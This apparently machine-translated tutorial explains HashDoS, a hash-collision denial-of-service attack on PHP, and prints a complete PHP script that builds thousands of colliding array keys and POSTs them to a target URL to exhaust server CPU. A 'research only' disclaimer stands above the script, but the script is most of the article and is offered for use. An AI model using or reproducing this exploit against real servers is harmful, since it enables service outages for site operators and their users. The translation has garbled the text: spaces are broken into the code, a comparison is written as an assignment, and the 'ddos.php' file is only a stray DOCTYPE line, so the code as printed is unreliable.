PHP uses the hash conflict vulnerability to analyze DDoS attacks, hashddos
This document describes how PHP uses the hash conflict vulnerability to launch DDoS attacks. Share it with you for your reference. The specific analysis is as follows:
First, declare:This article is only used for research and usage. Do not use it for illegal activities!
We have mentioned the hash table Collision Vulnerability recently. Many common languages, including java, python, and php, are not spared. Let's take a look at its power tonight.
Attack principle:
By posting a group of carefully crafted array parameters to the target server, when the underlying language processes the received array parameters at the server end, this vulnerability causes high CPU consumption, eventually, the server resources are exhausted.
You don't need to use any fancy techniques. You can simply use PHP to check the effect.
File: dos. php
// Target address // as long as the target address exists, you don't need to worry about it. $ host = 'HTTP: // 127.0.0.1/test. php '; $ data = ''; $ size = pow (2, 15); for ($ key = 0, $ max = ($ size-1) * $ size; $ key <= $ max; $ key + = $ size) {$ data. = '& array ['. $ key. '] = 0';} $ ret = curl ($ host, ltrim ($ data,' & '); var_dump ($ ret); function curl ($ url, $ post, $ timeout = 30) {$ ch = curl_init (); curl_setopt ($ ch, CURLOPT_RETURNTRANSFER, true); curl_setopt ($ ch, CURLOPT_TIMEOUT, $ timeout ); curl_setopt ($ ch, CURLOPT_CONNECTTIMEOUT, $ timeout-5); curl_setopt ($ ch, CURLOPT_HTTPHEADER, array ('ct: '); curl_setopt ($ ch, CURLOPT_URL, $ url ); curl_setopt ($ ch, CURLOPT_POST, true); curl_setopt ($ ch, CURLOPT_POSTFIELDS, $ post); $ output = curl_exec ($ ch); if ($ output = false) return false; $ info = curl_getinfo ($ ch); $ http_code = $ info ['HTTP _ Code']; if ($ http_code = 404) return false; curl_close ($ ch); return $ output ;}
File: ddos. php
<! DOCTYPE html PUBLIC "-// W3C // dtd xhtml 1.0 Transitional // EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
I hope this article will help you with php programming.